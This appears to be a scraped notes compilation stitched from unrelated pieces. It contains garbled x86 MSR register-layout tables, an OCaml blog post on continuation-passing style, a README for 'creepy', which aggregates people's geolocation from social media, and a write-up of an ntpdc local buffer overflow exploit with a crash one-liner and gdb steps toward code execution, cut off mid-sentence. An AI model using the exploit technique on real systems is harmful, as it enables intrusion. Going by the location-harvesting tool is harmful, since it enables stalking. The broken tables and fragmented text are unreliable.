F\_2FFFh | F\_0000h  
F\_0FFFh  
  
MTRR\_FIX\_4K\_F8000  
  
0000\_026Fh | F\_F000h  
F\_FFFFh | F\_E000h  
F\_EFFFh | F\_D000h  
F\_DFFFh | F\_C000h  
F\_CFFFh | F\_B000h  
F\_BFFFh | F\_A000h  
F\_AFFFh | F\_9000h  
F\_9FFFh | F\_8000h  
F\_8FFFh  
  
  
Variable Range MTRRs  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
MTRR\_PHYS\_BASE\_n  
  
0000\_0200h  
0000\_0202h  
... | reserved | BASE \#1 |    
BASE  
  
  
BASE  
| res. | TYPE  
MTRR\_PHYS\_MASK\_n  
  
0000\_0201h  
0000\_0203h  
... | reserved | MASK \#1 |    
MASK  
  
  
MASK  
| V | reserved  
note | description  
\#1 |  The number of actually implemented bits depends on the number of physical address bits.  
The remaining bits are reserved if less than 52 physical address bits are
implemented.  
  
  
SMRRs  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
SMRR\_PHYS\_BASE  
  
0000\_01F2h |    
reserved  
  
  
BASE  
| res. | TYPE  
SMRR\_PHYS\_MASK  
  
0000\_01F3h |    
reserved  
  
  
MASK  
| V | reserved  
  

* * *
  
  
Machine Check Exception  
  
---  
name | 3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
  
MCAR  
  
0000\_0000h |    
ADDR  
  
  
MCTR  
  
0000\_0001h | reserved or used otherwise | L  
C  
K | M  
I  
O | D  
C | W  
R | C  
H  
K  
  
  
Machine Check Architecture  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
MCG\_CAP  
  
0000\_0179h |    
reserved  
  
reserved | LM  
CE  
P | EL  
OG  
P | E  
M  
C  
P | S  
E  
R  
P | EXT\_COUNT | reserved | T  
E  
S  
P | CM  
CI  
P | E  
X  
T  
P | C  
T  
L  
P |    
COUNT \(n\)  
  
MCG\_STATUS  
  
0000\_017Ah |    
reserved  
  
  
reserved  
| LM  
CE  
S | M  
C  
I  
P | E  
I  
P  
V | R  
I  
P  
V  
MCG\_CTL  
  
0000\_017Bh |    
reserved  
  
  
reserved  
  
MCG\_EXT\_CTL  
  
0000\_04D0h |    
reserved  
  
  
reserved  
| LM  
CE  
EN  
  
  
MCA Error-Reporting Register Banks  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
MCn\_CTL2  
  
0000\_0280h  
0000\_0281h  
... |    
reserved  
  
  
r.  
| CM  
CI  
EN | reserved | THRESHOLD  
MCn\_CTL \#2  
  
0000\_0400h  
0000\_0404h  
... | E  
E  
6  
3 | E  
E  
6  
2 | E  
E  
6  
1 | E  
E  
6  
0 | E  
E  
5  
9 | E  
E  
5  
8 | E  
E  
5  
7 | E  
E  
5  
6 | E  
E  
5  
5 | E  
E  
5  
4 | E  
E  
5  
3 | E  
E  
5  
2 | E  
E  
5  
1 | E  
E  
5  
0 | E  
E  
4  
9 | E  
E  
4  
8 | E  
E  
4  
7 | E  
E  
4  
6 | E  
E  
4  
5 | E  
E  
4  
4 | E  
E  
4  
3 | E  
E  
4  
2 | E  
E  
4  
1 | E  
E  
4  
0 | E  
E  
3  
9 | E  
E  
3  
8 | E  
E  
3  
7 | E  
E  
3  
6 | E  
E  
3  
5 | E  
E  
3  
4 | E  
E  
3  
3 | E  
E  
3  
2  
E  
E  
3  
1 | E  
E  
3  
0 | E  
E  
2  
9 | E  
E  
2  
8 | E  
E  
2  
7 | E  
E  
2  
6 | E  
E  
2  
5 | E  
E  
2  
4 | E  
E  
2  
3 | E  
E  
2  
2 | E  
E  
2  
1 | E  
E  
2  
0 | E  
E  
1  
9 | E  
E  
1  
8 | E  
E  
1  
7 | E  
E  
1  
6 | E  
E  
1  
5 | E  
E  
1  
4 | E  
E  
1  
3 | E  
E  
1  
2 | E  
E  
1  
1 | E  
E  
1  
0 | E  
E  
0  
9 | E  
E  
0  
8 | E  
E  
0  
7 | E  
E  
0  
6 | E  
E  
0  
5 | E  
E  
0  
4 | E  
E  
0  
3 | E  
E  
0  
2 | E  
E  
0  
1 | E  
E  
0  
0  
MCn\_STATUS  
  
0000\_0401h  
0000\_0405h  
... | V  
A  
L | O | U  
C | E  
N | MI  
SC  
V | AD  
DR  
V | P  
C  
C | OTHER  
S | AR | TES | CORRECTED ERROR COUNT | FW | OTHER  
  
ERROR\_MS  
| ERROR\_MCA  
MCn\_ADDR  
  
0000\_0402h  
0000\_0406h  
... | ADDR \#1 | ADDR \#1 |    
ADDR \#1  
  
  
ADDR \#1  
  
MCn\_MISC  
  
0000\_0403h  
0000\_0407h  
... |    
reserved  
  
  
reserved  
  
notes | descriptions  
\#1 | Depending on the particular error, the address can be virtual or physical.  
\#2 | Intel P6-core processors alias MC0\_CTL to EBL\_CR\_POWERON.  
  
  
MCA Extended State Registers  
  
---  
name | 6  
3 |  | 0  
  
MCG\_rAX  
  
0000\_0180h |    
rAX  
  
  
MCG\_rBX  
  
0000\_0181h |    
rBX  
  
  
MCG\_rCX  
  
0000\_0182h |    
rCX  
  
  
MCG\_rDX  
  
0000\_0183h |    
rDX  
  
  
MCG\_rSI  
  
0000\_0184h |    
rSI  
  
  
MCG\_rDI  
  
0000\_0185h |    
rDI  
  
  
MCG\_rBP  
  
0000\_0186h |    
rBP  
  
  
MCG\_rSP  
  
0000\_0187h |    
rSP  
  
  
MCG\_rFLAGS  
  
0000\_0188h |    
rFLAGS  
  
  
MCG\_rIP  
  
0000\_0189h |    
rIP  
  
  
MCG\_MISC  
  
0000\_018Ah |    
reserved  
| D  
S  
MCG\_RESx  
  
0000\_018Bh  
0000\_018Ch  
... |    
processor-specific information \(optional\)  
  
  
processor-specific information \(optional\)  
  
  
MCG\_R8  
  
0000\_0190h |    
R8  
  
  
MCG\_R9  
  
0000\_0191h |    
R9  
  
  
MCG\_R10  
  
0000\_0192h |    
R10  
  
  
MCG\_R11  
  
0000\_0193h |    
R11  
  
  
MCG\_R12  
  
0000\_0194h |    
R12  
  
  
MCG\_R13  
  
0000\_0195h |    
R13  
  
  
MCG\_R14  
  
0000\_0196h |    
R14  
  
  
MCG\_R15  
  
0000\_0197h |    
R15  
  
  

* * *
  
  
Local APIC  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
APIC\_BASE  
  
0000\_001Bh |    
reserved  
|  
APIC base \#1  
| APIC  
base  
APIC base | E | E  
X  
T  
D | i  
g  
n | B  
S  
P | reserved  
note | description  
\#1 |  The number of actually implemented bits depends on the number of physical address bits.  
The remaining bits are reserved if less than 52 physical address bits are
implemented.  
  

* * *
  
  
BNDCFGS  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
BNDCFGS  
  
0000\_0D90h |    
BD base  
  
  
BD base  
| reserved | B  
p  
r  
v | En  
  

* * *
  
  
XSS  
  
---  
name | 6  
3 | 6  
2 | 6  
1 | 6  
0 | 5  
9 | 5  
8 | 5  
7 | 5  
6 | 5  
5 | 5  
4 | 5  
3 | 5  
2 | 5  
1 | 5  
0 | 4  
9 | 4  
8 | 4  
7 | 4  
6 | 4  
5 | 4  
4 | 4  
3 | 4  
2 | 4  
1 | 4  
0 | 3  
9 | 3  
8 | 3  
7 | 3  
6 | 3  
5 | 3  
4 | 3  
3 | 3  
2  
3  
1 | 3  
0 | 2  
9 | 2  
8 | 2  
7 | 2  
6 | 2  
5 | 2  
4 | 2  
3 | 2  
2 | 2  
1 | 2  
0 | 1  
9 | 1  
8 | 1  
7 | 1  
6 | 1  
5 | 1  
4 | 1  
3 | 1  
2 | 1  
1 | 1  
0 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0  
XSS  
  
0000\_0DA0h | r  
e  
s | L  
W  
P | reserved  
reserved | C  
E  
T  
S | C  
E  
T  
U | r  
e  
s | P  
K  
R  
U | T  
P  
C  
S | V  
16  
...  
31 | V  
5  
1  
2 | K  
r  
e  
g | BN  
DC  
SR | B  
r  
e  
g | Y  
M  
M | X  
M  
M | X  
8  
7  
  

* * *
  
note: The following SMM related registers are visible in the SMM state save
map.  
  
  
SMM related internal registers  
  
---  
name | 6  
3 |  | 3  
2 | 3  
1 |  | 0  
SMBASE |  |    
SMM base address  
  
IO  
RESTART  
RIP |    
RIP of most recent IN/OUT instruction \(for I/O restart on RSM\)  
  
IO  
RESTART  
RCX |    
RCX of most recent IN/OUT instruction \(for I/O restart on RSM\)  
  
IO  
RESTART  
RSI |    
RSI of most recent IN/OUT instruction \(for I/O restart on RSM\)  
  
IO  
RESTART  
RDI |    
RDI of most recent IN/OUT instruction \(for I/O restart on RSM\)  
  
  

* * *
  
note: Some of the following additional internal flags are visible in the SMM
state save map.  
  
  
additional internal flags  
  
---  
name | description  
TEMP\_DR6 | used to collect breakpoint information for DR6.B?  
CAUSING\_DB | used to indicate that the CPU is in the process of generating a \#DB exception  
BLOCK\_INIT | set by SMI, cleared by IRET/RSM instruction or RESET  
BLOCK\_SMI | set by SMI, cleared by RSM instruction or RESET/INIT  
BLOCK\_NMI | set by SMI/NMI, cleared by IRET instruction or RESET/INIT  
LATCH\_INIT | one INIT can be latched while INITs are blocked  
LATCH\_SMI | one SMI can be latched while SMIs are blocked  
LATCH\_NMI | one NMI can be latched while NMIs are blocked  
IN\_REP | used to suppress fetch and decode in subsequent REP string instruction iterations  
IN\_SMM | set by SMI, cleared by RSM instruction or RESET/INIT  
IN\_HLT |  set by HLT instruction, optionally set by RSM instruction,  
cleared by RESET/INIT/SMI/NMI/INTR  
IN\_SHUTDOWN | set by triple fault, cleared by RESET/INIT/SMI/NMI  
IN\_FP\_FREEZE |  set by waiting FP instruction if unmasked pending FP exception while CR0.NE=0  
and IGNNE\#=deasserted, cleared by RESET/INIT/SMI/NMI/INTR  
SUPPRESS\_INTERRUPTS | used to implement external interrupt suppression  
  

* * *
  
<img src='img/logo_ani.gif' width='55' height='55' alt='main page' />  
  

# VinE's OCaml Programming Tricks: Explicit Continuation-Passing Style - RCE
Messageboard's Regroupment

**Created:**| _12/8/2009 8:44:38 AM_  
---|---  
**Updated:**| _12/8/2009 8:44:50 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification reversing programming_  
  

**VinE's OCaml Programming Tricks: Explicit Continuation-Passing Style**

* * *
There are many books devoted to languages like C++ or Python, and technical
blogs are teeming with further information on these subjects. Languages like
OCaml have much smaller communities, with very few dedicated books and
technical blogs. As far as I've put together, we OCaml programmers mainly
learn from reading one anothers' code. Functional programmers must stick
together.  
  
VinE is the static analysis component of the BitBlaze binary analysis project,
it is written in OCaml, and it contains some tricks that I haven't seen
elsewhere. For the sake of contributing to their dissemination throughout the
community, I would like to detail some of them here. These might be obvious to
everyone already, or maybe no one cares. Feedback is welcome.  
  
The following discussion concerns /ocaml/wp.ml, the weakest precondition
calculator. A weakest precondition \(hereinafter WP\) is the most general
condition under which execution reaches some given point with some desired
post-condition \(i.e. an execution trace plus some arbitrary condition that
must hold at the end of the trace, e.g. "this array write at this location
goes out of bounds"\). WPs compare favorably to forward symbolic execution in
terms of formula size, and comprise an attractive choice for enacting the
primitive "cause execution to reach a particular line in a particular state",
if loop unrolling is palatable. This entry concerns an OCaml programming
technique found in VinE's WP calculator, and does not seek to discuss WPs
themselves. For further reading, read a book on formal semantics \(the section
on axiomatic semantics\) or Dijkstra's original work in the area from the
early 1970s.  
  
One issue with functional programming is that, if recursive functions are not
written in a tail-recursive style, they have the potential to overflow the
stack, thereby causing the program to abort. One learns to be judicious about
writing tail-recursive functions, but alas, it is impossible to naively
convert some functions into such a form; care is needed. For example, if the
recursive function needs to call itself to produce a value, and then perform
some operation on the result before returning it, then the recursive
invocation is not in the tail position and cannot be optimized into a jump by
the compiler. Therefore, the function will consume stack space for each
recursive invocation, leading to an upper bound on the size of the data that
can be processed before a stack overflow exception is thrown.  
  
Consider the following snippet, which is the aforementioned weakest
precondition calculator written as a straightforward recursive pattern match:  
  

Code:

[code]

      let rec wp q = function
        | Skip           -> q
        | Assume e       -> exp_implies e q
        | Choice(s1, s2) -> let r1 = wp q s2 in
                            let r2 = wp q s1 in
                            exp_and r1 r2
        | Seq(s1, s2)    -> let r1 = wp q s2 in
                            wp r1 s1
        | Assign(t, e)   -> Let(t, e, q)
        | Assert e       -> exp_and e q
[/code]

In the case of the Choice statement, the weakest precondition for both choices
\(variables r1 and r2\) must be calculated before they can be conjoined, and
therefore these calls can not be made tail-recursive. Seq is similar. How do
we write this function so it does not crash in the presence of large data
sets?  
  
One answer is "explicit continuation-passing style", as seen in the following
snippet:  
  

Code:

[code]

    let calculate_wp (simp:Gcl.exp->Gcl.exp) (post:Gcl.exp) (stmt:Gcl.t)  =
      let rec wp q s k =
        match s with
        | Skip           -> k q
        | Assume e       -> k (simp(exp_implies e q))
        | Choice(s1, s2) -> wp q s1 (fun x -> wp q s2 (fun y -> k(simp(exp_and x y ))))
        | Seq(s1, s2)    -> wp q s2 (fun x -> wp x s1 k)
        | Assign(t, e)   -> k(simp(Let(t, e, q)))
        | Assert e       -> k (simp(exp_and e q))
      in
        wp post stmt (fun x->x)
[/code]

We have introduced a new argument to wp called "k", the "continuation", which
means "the rest of the computation". We can see that the calls to wp in the
Choice and Seq cases are now in the tail position, and hence can be optimized
directly into jumps, resulting in constant stack depth and no more crashes.
The cases other than Choice and Seq have been modified to apply the
continuation to the result of their portion of the weakest precondition
calculation.  
  
But what exactly is going on here? The compact representation yields little
insight into how the WP is actually calculated step-by-step. Thus, let's take
a look at an example GCL statement and the computation of its WP:  
  

Code:

[code]

    wp q Seq(Skip,Seq(Assume expr1,Assert expr2)) (fun x -> x) (* Initial call to wp with arbitrary post-condition q *)
    
    wp q (Seq(Assume expr1,Assert expr2)) (fun x -> wp x Skip (fun x->x)) (* Grow the continuation because of the Seq *)
    
    wp q (Assert expr2) (fun x -> wp x (Assume expr1) (fun x -> wp x Skip (fun x->x))) (* Grow the continuation because of the Seq *)
    
    (fun x -> wp x (Assume expr1) (fun x -> wp x Skip (fun x->x))) (exp_and expr2 q) (* Shrink the continuation to process the assert *)
    
    wp (exp_and expr2 q) (Assume expr1) (fun x -> wp x Skip (fun x->x)) (* Process the assume *)
    
    (fun x -> wp x Skip (fun x->x)) (exp_implies expr1 (exp_and expr2 q)) (* Shrink the continuation to because of the assume *)
    
    wp (exp_implies expr1 (exp_and expr2 q)) Skip (fun x->x) (* Process the skip *)
    
    (fun x -> x) (exp_implies expr1 (exp_and expr2 q)) (* Shrink the continuation because of the skip *)
    
    (exp_implies expr1 (exp_and expr2 q)) (* Final WP *)
    
[/code]

The first three steps show the expansion of the continuation due to the Seq
statements in the input; the rest of the steps show the gradual shrinkining of
the continuation by processing the statements inside of the Seq statements.
Essentially, we have traded stack space for the activation records of wp for
heap space for the continuation, and in the process have produced a tail-
recursive function that does not consume stack space.  
  
From here, we pass the propositional formula \(a VinE expression\) off to a
theorem prover and receive an input that causes execution to reach the
specified state with the specified condition. However, this is once again
beyond the scope of this entry.  
  
https://www.openrce.org/blog/view/1523/VinE's\_OCaml\_Programming\_Tricks:\_\_Explicit\_Continuation-
Passing\_Style

# ilektrojohn/creepy @ GitHub

**Created:**| _4/13/2011 8:26:22 AM_  
---|---  
**Updated:**| _4/13/2011 8:29:35 AM_  
**Author:**| __  
**Tags:**| _Databases web geo_  
  

# creepy by ilektrojohn

A geolocation information aggregator.

creepy is an application that allows you to gather geolocation related
information about users from social networking platforms and image hosting
services. The information is presented in a map inside the application where
all the retrieved data is shown accompanied with relevant information \(i.e.
what was posted from that specific location\) to provide context to the
presentation.

## F.A.Q.

Please read through the FAQ :\)

## Screenshots

<img src='img/creepy_mapview.png' /> mapview with results

<img src='img/creepy_settings.png' /> settings

<img src='img/windows.png' /> creepy running on windows XP

## Features

  
Map providers available :

  * Google Maps
  * Virtual Maps
  * Open Street Maps

Location information retieval from :

  * Twitter's tweet location
  *     * Coordinates when tweet was posted from mobile device
    * Place \(geographical name\) derived from users ip when posting on twitter's web interface. Place gets translated into coordinates using geonames.com
    * Bounding Box derived from users ip when posting on twitter's web interface.The less accurate source , a corner of the bounding box is selected randomly.
  * Geolocation information accessible through image hosting services API
  * EXIF tags from the photos posted.

  
Social networking platforms currently supported :

  * Twitter
  * Foursquare \(only checkins that are posted to twitter\)

  
Image hosting services currently supported :

  * flickr - information retrieved from API
  * twitpic.com - information retrieved from API and photo exif tags
  * yfrog.com - information retrieved from photo exif tags
  * img.ly - information retrieved from photo exif tags
  * plixi.com - information retrieved from photo exif tags
  * twitrpix.com - information retrieved from photo exif tags
  * foleext.com - information retrieved from photo exif tags
  * shozu.com - information retrieved from photo exif tags
  * pickhur.com - information retrieved from photo exif tags
  * moby.to - information retrieved from API and photo exif tags
  * twitsnaps.com - information retrieved from photo exif tags
  * twitgoo.com - information retrieved from photo exif tags

  

Automatic caching of retrieved information in order to reduce API calls and
the possibility of hiting limit rates.  

GUI with navigateable map for better overview of the accumulated information  

4 Maps providers \(including Google Maps\) to use.  

Open locations in Google Maps in your browser  

Export retrieved locations list as kmz \(for Google Earth\) or csv files.  

Handling twitter authentication in an easy way using oAuth. User credentials
are not shared with the application.  

User/target search for twitter and flickr.  

## Disclaimer

Creepy is provided as a PoC tool. Usage of the tool for malicious purposes
such as stalking is not endorsed or promoted.

By using this software, you accept that its intention is to raise awareness
and to be used as an educational tool .Using creepy for any illegal or
unethical purposes is strictly forbidden and the developer assumes no
liability.The author disclaim any responsibility for any action of final
users. It is the final user’s responsibility to obey all applicable government
and legal laws.

Downloading and installing the software signifies that you have read and
aggreed to the above disclaimer and the software license.

## Install Instructions

### Ubuntu 10.10

Add creepy's ppa repository with :

[code]

    $ sudo add-apt-repository ppa:jkakavas/creepy
    
[/code]

Update package list

[code]

    $ sudo apt-get update
    
[/code]

Install creepy

[code]

    $ sudo apt-get install creepy
    
[/code]

Creepy is now in the global menu under Applications-> Internet.

Alternatively download and install the .deb from github

### Backtrack 4

Add the repository

[code]

    deb http://people.dsv.su.se/~kakavas/creepy/ binary/
    
[/code]

to your

[code]

    /etc/apt/sources.list
    
[/code]

file. Update package list

[code]

    # apt-get update
    
[/code]

Install creepy

[code]

    # apt-get install creepy
    
[/code]

Creepy is now in the global menu under Applications-> Internet.

### MS Windows

Download the installer for the latest version from gituhub . All dependencies
have been bundled in the executable, nothing more to install. Enjoy creeping\!

## License

creepy is available under GPLv3

## Authors

Yiannis Kakavas \(jkakavas\_AT\_gmail\_DOT\_com\)  
@ilektrojohn  

## Contact - Support

Yiannis Kakavas \(jkakavas\_AT\_gmail\_DOT\_com\)  

creepy.app\_\_AT\_\_googlemail\_\_DOT\_\_com Cree\_pi on twitter

## Download Source Code

You can download the source code of this project in either zip or tar formats.

You can also clone the project with Git by running:

[code]

    $ git clone git://github.com/ilektrojohn/creepy
    
[/code]

<img src='img/zip.png' width='90' /> <img src='img/tar.png' width='90' />

get the source code on GitHub : ilektrojohn/creepy

<img src='img/Temp2_10396.png' alt='weebly reliable statistics' />

# Computer Science from the Bottom Up

**Created:**| _4/28/2014 10:05:18 AM_  
---|---  
**Updated:**| _4/28/2014 10:05:42 AM_  
**Author:**| __  
**Tags:**| _papers reversing_  
  
<img src='img/csbu.pdf' />

# ntpdc local buffer overflow - forelsec

**Created:**| _1/10/2015 6:09:13 PM_  
---|---  
**Updated:**| _1/10/2015 6:09:13 PM_  
**Author:**| __  
**Tags:**| __  
  

# Ntpdc Local Buffer Overflow

Jan 6, 2015

Alejandro Hdez \(@nitr0usmx\) recently tweeted about a trivial buffer overflow
in ntpdc, a deprecated NTP query tool still available and packaged with any
NTP install. He posted a screenshot of the crash as the result of a large
buffer passed into a vulnerable `gets` call. After digging into it a bit, I
decided it’d be a fun exploit to write, and it was. There are a few quarks to
it that make it of particular interest, of which I’ve detailed below.

As noted, the bug is the result of a vulnerable `gets`, which can be crashed
with the following:

|

[code]

    $ python -c 'print "A"*600' | ntpdc
    ***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' unknown
    Segmentation fault
[/code]  
---|---  
Loading into gdb on an x86 Debian 7 system:

|

[code]

    gdb-peda$ i r eax edx esi
    eax            0x41414141   0x41414141
    edx            0x41414141   0x41414141
    esi            0x41414141   0x41414141
    gdb-peda$ x/i $eip
    => 0xb7fa1d76 <el_gets+22>: mov    eax,DWORD PTR [esi+0x14]
    gdb-peda$ checksec
    CANARY    : ENABLED
    FORTIFY   : ENABLED
    NX        : ENABLED
    PIE       : disabled
    RELRO     : Partial
[/code]  
---|---  
Notice the `checksec` results of the binary, now compare this to a snippet of
the `paxtest` output:

|

[code]

    Mode: Blackhat
    Linux deb7-32 3.2.0-4-486 #1 Debian 3.2.63-2+deb7u2 i686 GNU/Linux
    Executable anonymous mapping             : Vulnerable
    Executable bss                           : Vulnerable
    Executable data                          : Vulnerable
    Executable heap                          : Vulnerable
    Executable stack                         : Vulnerable
    Executable shared library bss            : Vulnerable
    Executable shared library data           : Vulnerable
[/code]  
---|---  
And the result of Debian’s recommended `hardening-check`:

|

[code]

    $ hardening-check /usr/bin/ntpdc 
    /usr/bin/ntpdc:
     Position Independent Executable: no, normal executable!
     Stack protected: yes
     Fortify Source functions: yes (some protected functions found)
     Read-only relocations: yes
     Immediate binding: no, not found!
[/code]  
---|---  
Interestingly enough, I discovered this oddity after I had gained code
execution in a place I shouldn’t have. We’re also running with ASLR enabled:

|

[code]

    $ cat /proc/sys/kernel/randomize_va_space 
    
[/code]  
---|---  
I’ll explain why the above is interesting in a moment.

So in our current state, we control three registers and an instruction
dereferencing `ESI+0x14`. If we take a look just a few instructions ahead, we
see the following:

|

[code]

    gdb-peda$ x/8i $eip
    => 0xb7fa1d76 <el_gets+22>: mov    eax,DWORD PTR [esi+0x14] ; deref ESI+0x14 and move into EAX
       0xb7fa1d79 <el_gets+25>: test   al,0x2                   ; test lower byte against 0x2
       0xb7fa1d7b <el_gets+27>: je     0xb7fa1df8 <el_gets+152> ; jump if ZF == 1
       0xb7fa1d7d <el_gets+29>: mov    ebp,DWORD PTR [esi+0x2c] ; doesnt matter 
       0xb7fa1d80 <el_gets+32>: mov    DWORD PTR [esp+0x4],ebp  ; doesnt matter
       0xb7fa1d84 <el_gets+36>: mov    DWORD PTR [esp],esi      ; doesnt matter
       0xb7fa1d87 <el_gets+39>: call   DWORD PTR [esi+0x318]    ; call a controllable pointer 
[/code]  
---|---  
I’ve detailed the instructions above, but essentially we’ve got a free CALL.
In order to reach this, we need an ESI value that at +0x14 will set ZF == 0
\(to bypass the test/je\) and at +0x318 will point into controlled data.

Naturally, we should figure out where our payload junk is and go from there.

|

[code]

    gdb-peda$ searchmem 0x41414141
    Searching for '0x41414141' in: None ranges
    Found 751 results, display max 256 items:
     ntpdc : 0x806ab00 ('A' <repeats 200 times>...)
    gdb-peda$ maintenance i sections
    [snip]
    0x806a400->0x806edc8 at 0x00021400: .bss ALLOC
    gdb-peda$ vmmap
    Start      End        Perm  Name
    0x08048000 0x08068000 r-xp  /usr/bin/ntpdc
    0x08068000 0x08069000 r--p  /usr/bin/ntpdc
    0x08069000 0x0806b000 rw-p  /usr/bin/ntpdc
    [snip]
[/code]  
---|---  
Our payload is copied into BSS, which is beneficial as this will remain
unaffected by ASLR, further bonus points because our binary wasn’t compiled
with PIE. We now need to move back -0x318 and look for a value that will set
ZF == 0 with the `test al,0x2` instruction. A value at `0x806a9e1` satisfies
both the +0x14 and +0x318 requirements:

|

[code]

    gdb-peda$ x/wx 0x806a9cd+0x14
    0x806a9e1:  0x6c61636f
    gdb-peda$ x/wx 0x806a9cd+0x318
    0x806ace5:  0x41414141
[/code]  
---|---  
After figuring out the offset in the payload for ESI, we just need to plug
